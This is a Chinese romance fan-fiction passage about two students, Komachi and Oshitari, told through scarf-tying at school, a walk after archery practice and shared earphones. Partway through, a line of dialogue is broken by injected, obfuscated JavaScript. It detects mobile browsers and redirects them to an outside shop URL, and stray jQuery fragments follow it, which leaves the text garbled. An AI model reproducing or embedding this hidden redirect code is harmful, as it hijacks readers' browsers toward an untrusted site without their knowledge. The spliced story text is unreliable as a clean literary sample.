星期一早晨，鞋柜区挤满了刚到校的学生。
夜里下过雨，门廊前的石阶还湿着。换鞋时，衣袖、围巾和制服外套挤在一起，偶尔响起细小的静电声；有人被电得缩手，下一秒又若无其事地去碰旁边的人。
“不要动。”
藤崎站在小町身后，把奶油白色的围巾从她左肩绕过去。
“你刚才也这样说。”
“因为你刚才也动了。”
“我只是低头换鞋。”
“漂亮需要付出一点代价。”
水野抱着三个人的书包站在旁边，看着藤崎第三次拆开那个结，终于提醒她预备铃还有十二分钟。
这句话很有效。藤崎迅速将围巾一端从长环里穿过，整理好流苏，又把小町推到玻璃门前。
柔软的蝴蝶结落在左肩，配上深棕色制服，确实比普通系法醒目。
“怎么样？”
小町对着玻璃转了半圈。
“好厉害。”
藤崎正准备替自己也系一个，向日的声音忽然从台阶下传来。
“忍足，你走快一点不行吗？”
小町回过头。
网球部刚结束晨训。向日走在前面，领带还没完全拉好；忍足背着网球包落后几步，校服外套敞着，里面是一件深色薄毛衣，颈间空空的。
他走进门廊，一眼便看见小町肩上的蝴蝶结。
“早上好。”小町说。
“早上好。”
忍足站到她面前，目光仍停在围巾上。
“围巾很好看。”
“是吧，藤崎刚给我系的。
藤崎还没来得及出声，水野已经把她向教学楼方向推了一步。
“走吧，别妨碍别人。”
小町转身关鞋柜，发梢被围巾压进衣领。她抬手摸了两次，没有找到，忍足便把网球包换到另一边，替她将那几缕头发拨出来。
他的动作并不熟练。指尖在羊绒里绕了一下，险些又把藤崎刚系好的结弄松。
“左边。”小町提醒。
“哪边？”
“我的左边。”
忍足停了一下，换了只手。
最后一缕头发被抽出来时，毛衣袖口擦过围巾。
啪的一声。
向日刚换好室内鞋，闻声抬起头。
“嚯，还有爱情的火花。”
附近几个人顿时笑起来。
忍足低头看了看自己的手，随后伸向向日。向日立刻抱着鞋袋退开。
“干什么？”
“分你一点。”
“我不要！”
这一天过得和平时没有太大区别。
照片带来的新鲜感只维持到午休，下午便很少再有人特意起哄。老师照常发下练习，社团活动也不会因为两名学生开始交往而提前结束。小町与忍足偶尔在走廊遇见，彼此停下来讲几句话，身旁的人看上一眼，随后便各自赶往下一间教室。
只有他们自己知道，一些极细小的地方已经变了。
再习以为常的相处忽然多出了一层隐秘的意思，像那声转瞬即逝的静电，微弱得无法向别人说明，落在皮肤上却清晰得令人无法忽略。
弓道部训练结束时，校园已经完全暗下来。
木门推开，冷风卷着枯叶从石板路上掠过。教学楼的大部分窗户已经熄灯，光秃的树木立在夜色里，枝条被远处体育馆的灯映成沉默的黑影。沿路亮着一盏盏橘色路灯，每一盏都只能照亮脚下很小的一块地方，明亮得近乎温暖，彼此之间又隔着长长的黑暗，使整座放学后的校园显得空旷而萧条。
忍足站在第三盏灯下面。
网球包放在脚边，他手里拿着一本书，翻开的纸页被风吹动，几次险些合上。听见弓道场的门响，他抬起头，先将书收好，又弯腰拿起书包。
小町沿着灯光向他走过去。
白天系成蝴蝶结的围巾已经有些松了，几缕头发被压在领口里，还有一缕从耳后垂下来，随着她的脚步贴上脸颊。
忍足等她走近，抬手替她整理。
“等了多久？”小町问。
“二十多分钟。”
“冷吗？”
忍足依旧没有围巾，外套领口空着，耳廓被风吹得发红。他说还好，小町却已经注意到他的手指比早晨凉了许多。
“围巾带了吗？”
忍足从网球包侧袋里拿出一条深灰色围巾。
显然带了，只是一直没有用。
“出门的时候忘了。”
冬季才刚刚开始，东京真正寒冷的日子还在后面，以忍足这种毫无可信度的“记忆”，他大概能一直忘到第一场雪落下来。
小町接过去，将自己肩上的蝴蝶结摸了一遍，又示意忍足稍微低头。忍足依言弯下来，镜片后的目光落在她脸上，安静地看着她把围巾绕过自己颈后。
深灰色的围巾比小町那条宽一些，羊绒也更厚。她试着按照藤崎早上教过的方法折出长环，再将另一端绕过，第一次松了，第二次又系得过紧，直到第三次才在他的外套领口旁留下一个形状端正的结。
一个很大的蝴蝶结。
小町退后半步，认真检查。
忍足垂眼看向胸前。
“这是现在流行的系法？”
“嗯。”
“男生也流行？”
“从现在开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842542|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，你说不定可以让它流行起来。”
忍足没有拆掉。
他只是把网球包重新背好，任由那个与他平日风格并不相称的深灰色蝴蝶结留在领口。路灯将两个人的影子投到石板路上。
走出校门以后，他们自然地牵住了手。
车站前的便利店煮着关东煮。两个人进去停留了几分钟，出来时，小町手中多了一杯热汤
路边商店陆续关门。街道明明亮着，却显得比没有灯时更加寂静。
他们停在住宅区外的矮墙旁，把最后一点热汤分完。忍足正准备把纸杯扔掉，一只穿红色毛衣的白色博美犬从墙后跑出来，牵引绳绷得笔直，主人只好跟着停下。
小町停住脚步。
得到主人允许以后，她蹲下来摸它。博美犬很快将脑袋送进她掌心，鼻尖还时不时去碰她围巾上的流苏。
忍足替她拿着书包，站在旁边看了一会儿，也俯身碰了碰小狗的前爪。
“我以后想养一只。”小町说。
声音很轻，像只是说给眼前这团白色的绒毛听。
忍足问她想养什么品种。
小町没有具体答案。她只希望那只狗愿意在她回家时跑过来，冬天可以趴在床边，散步时不会走到一半便执意回家。忍足则希望它稍微安静一点，最好不会在清晨五点跳上床。
“早上起来你去遛。”小町说。
忍足看向她。
小町的手还埋在博美犬柔软的毛里。话已经出口，她才意识到，在自己刚刚想象出来的生活里，忍足居然从一开始便住在那里。
“嗯？我为什么会在你家？”他明知故问。
“那你住近一点好了吧。”小町腾出手打了他一下。
博美犬仰头望着他们，呼出的白气在鼻尖散开。小町低下头，继续替它整理红毛衣的领口，忍足也没有追问，只用指尖挠了挠小狗的下巴。
小狗跟着主人离开以后，两个人继续向车站走。
忍足从网球包里拿出随身听，将一只耳机递给小町。耳机线不长，他们只能保持相同的速度，肩膀偶尔碰在一起，一方避让迎面而来的行人，另一方也会被轻轻牵过去。
快歌放完，缓慢的吉他声从耳机里响起。
随身听的窄屏上滚过歌名。
《Marry Me》。
男声沿着一根耳机线，将同一句歌词送进两个人耳中：
We'll forever be in love, so there ain't no need to rush.
Forever can never be long enough for us.